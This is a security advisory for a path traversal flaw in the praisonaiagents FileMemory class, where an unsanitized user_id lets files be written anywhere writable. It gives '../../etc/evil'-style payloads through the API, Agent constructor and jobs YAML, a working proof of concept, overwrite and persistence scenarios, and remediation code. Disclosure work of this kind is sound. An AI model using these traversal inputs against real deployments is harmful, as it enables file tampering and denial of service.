PYSEC-2026-3902

    Dashboard / Vulnerabilities / PYSEC-2026-3902

    PYSEC-2026-3902

    Published: 10 Sept 2026Last Modified: 10 Sept 2026

    Summary: praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

    Details: ### Summary `praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all memory file paths by directly joining the `user_id` parameter to a base path: ```python self.user_path = self.base_path / user_id # LINE 145 — no sanitization ``` No validation or normalization is applied to `user_id` before the path join. An attacker who can supply a `user_id` containing `../` sequences can write arbitrary JSON files (memory content) to **any writable location on the filesystem**. The vulnerability is confirmed **live on the current `main` branch** (`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744** (which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the core library). ### Details **Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:** ```python def __init__( self, user_id: str = "default", base_path: Optional[str] = None, ... ): ... self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION self.episodic_path = self.user_path / "episodic" self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path self.episodic_path.mkdir(parents=True, exist_ok=True) self.config_file = self.user_path / "config.json" self.short_term_file = self.user_path / "short_term.json" self.long_term_file = self.user_path / "long_term.json" self.entities_file = self.user_path / "entities.json" self.summaries_file = self.user_path / "summaries.json" ``` All five JSON files are written under `user_path`, which is directly derived from the attacker-controlled `user_id`. The written content is valid JSON in the memory item format (configurable user content + metadata). **Comparison with the patched reference — `praisonaiagents/storage/backends.py` (SQLiteBackend):** The sibling `SQLiteBackend` validates its `table_name` with a regex: ```python if not re.match(r'^[a-zA-Z0-9_]+$', table_name): raise ValueError(...) ``` No equivalent validation exists in `FileMemory`. **Attack chains:** *A — Direct Python API (any caller):* ```python from praisonaiagents.memory.file_memory import FileMemory mem = FileMemory(user_id="../../etc/evil") mem.add_short_term("injected content") # Creates /etc/evil/short_term.json (on Linux) # Creates C:\evil\short_term.json (on Windows) ``` *B — Via `Agent` constructor (memory dict):* ```python from praisonaiagents import Agent agent = Agent( name="assistant", memory={"provider": "file", "user_id": "../../etc/evil"}, instructions="You are a helpful assistant.", ) # FileMemory(user_id="../../etc/evil") called at agent init ``` *C — Via agents.yaml / job submission (`agent_yaml` field):* ```yaml # Submitted via POST /jobs with agent_yaml: agents: researcher: memory: provider: file user_id: "../../tmp/evil" role: "Research assistant" goal: "Research topics" ``` `agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor. ### PoC **Environment:** Python 3.9+, `praisonaiagents <= 1.6.52` **Step 1 — Verify path escapes base (no dependencies needed):** ```python from pathlib import Path import tempfile base = Path(tempfile.gettempdir()) / "praisonai" / "memory" user_id = "../../../tmp/evil_escape" user_path = base / user_id try: user_path.resolve().relative_to(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", user_path.resolve()) ``` Output: ``` !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evil_escape ``` **Step 2 — Live exploit (files written outside base):** ```python import tempfile, json from pathlib import Path from praisonaiagents.memory.file_memory import FileMemory BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory" BASE.mkdir(parents=True, exist_ok=True) TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve() mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE)) mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this") mem.add_long_term("SENSITIVE_DATA", importance=0.9) # Verify files appeared OUTSIDE the base directory for fname in ["short_term.json", "long_term.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}") ``` **Observed output (run on current `main`):** ``` WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json Content: PROOF_OF_TRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json Content: SENSITIVE_DATA WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json ``` ### Impact **What kind of vulnerability:** Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process. **Who is impacted:** - Any application that creates `FileMemory` instances with user-controlled `user_id` - Any PraisonAI deployment where users can supply the `user_id` parameter directly or indirectly (via `Agent(memory={"user_id": ...})`, agents.yaml, or jobs API) **High-impact scenarios:** 1. **Overwrite Python package files**: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser. 2. **Overwrite web server / app config**: Write `config.json` or `settings.json` to an app's configuration directory, potentially modifying runtime behavior. 3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths (Linux) or `%APPDATA%\Startup\` (Windows) directories that might be interpreted by monitoring systems. 4. **Denial of Service**: Write large JSON memory files into system directories, filling disk space or overwriting critical config files. 5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path. **Distinction from GHSA-766v-q9x3-g744:** | | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) | | Class | `MultiAgentMonitor` | `FileMemory` | | Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) | ``` --- ## Remediation Suggestion (for maintainers) Validate and resolve `user_id` before using it in path construction: ```python def __init__(self, user_id: str = "default", base_path=None, ...): ... # ADDED: sanitize user_id import re if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id): raise ValueError( f"user_id '{user_id}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." ) self.user_path = self.base_path / user_id # ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.user_path.resolve() base_resolved = self.base_path.resolve() try: resolved.relative_to(base_resolved) except ValueError: raise ValueError( f"user_id '{user_id}' would write outside the base memory directory." ) ``` The same pattern should be applied to `base_path` parameter.

    Affected packages

    Package

    Name: praisonaiagents

    Purl: pkg:pypi/praisonaiagents

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -1.6.58

    Affected versions

    0.0.1
    0.0.10
    0.0.100
    0.0.101
    0.0.102
    0.0.103
    0.0.104
    0.0.105
    0.0.106
    0.0.107
    0.0.108
    0.0.109
    0.0.11
    0.0.110
    0.0.111
    0.0.112
    0.0.113
    0.0.114
    0.0.115
    0.0.116
    0.0.117
    0.0.118
    0.0.119
    0.0.12
    0.0.120
    0.0.121
    0.0.122
    0.0.123
    0.0.124
    0.0.125
    0.0.126
    0.0.127
    0.0.128
    0.0.129
    0.0.13
    0.0.130
    0.0.131
    0.0.132
    0.0.133
    0.0.134
    0.0.135
    0.0.136
    0.0.137
    0.0.138
    0.0.139
    0.0.14
    0.0.140
    0.0.141
    0.0.142
    0.0.143
    0.0.144
    0.0.145
    0.0.146
    0.0.147
    0.0.148
    0.0.149
    0.0.15
    0.0.150
    0.0.151
    0.0.152
    0.0.153
    0.0.154
    0.0.155
    0.0.156
    0.0.157
    0.0.158
    0.0.159
    0.0.16
    0.0.160
    0.0.161
    0.0.162
    0.0.163
    0.0.164
    0.0.165
    0.0.166
    0.0.167
    0.0.168
    0.0.169
    0.0.17
    0.0.170
    0.0.171
    0.0.172
    0.0.173
    0.0.174
    0.0.175
    0.0.176
    0.0.177
    0.0.178
    0.0.179
    0.0.18
    0.0.180
    0.0.181
    0.0.182
    0.0.183
    0.0.184
    0.0.185
    0.0.187
    0.0.188
    0.0.189
    0.0.19
    0.0.190
    0.0.191
    0.0.192
    0.0.193
    0.0.194
    0.0.195
    0.0.196
    0.0.197
    0.0.198
    0.0.199
    0.0.2
    0.0.20
    0.0.21
    0.0.22
    0.0.23
    0.0.24
    0.0.25
    0.0.26
    0.0.27
    0.0.28
    0.0.29
    0.0.3
    0.0.30
    0.0.31
    0.0.32
    0.0.33
    0.0.34
    0.0.35
    0.0.36
    0.0.37
    0.0.38
    0.0.39
    0.0.4
    0.0.40
    0.0.41
    0.0.42
    0.0.43
    0.0.44
    0.0.45
    0.0.46
    0.0.47
    0.0.48
    0.0.49
    0.0.5
    0.0.50
    0.0.51
    0.0.52
    0.0.53
    0.0.54
    0.0.56
    0.0.57
    0.0.58
    0.0.59
    0.0.6
    0.0.60
    0.0.61
    0.0.62
    0.0.63
    0.0.64
    0.0.65
    0.0.66
    0.0.67
    0.0.68
    0.0.69
    0.0.7
    0.0.70
    0.0.71
    0.0.72
    0.0.73
    0.0.74
    0.0.75
    0.0.76
    0.0.77
    0.0.78
    0.0.79
    0.0.8
    0.0.80
    0.0.81
    0.0.82
    0.0.83
    0.0.84
    0.0.85
    0.0.86
    0.0.87
    0.0.88
    0.0.89
    0.0.9
    0.0.90
    0.0.91
    0.0.92
    0.0.93
    0.0.94
    0.0.95
    0.0.96
    0.0.97
    0.0.98
    0.0.99

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    PYSEC-2026-3902 | CVE-DB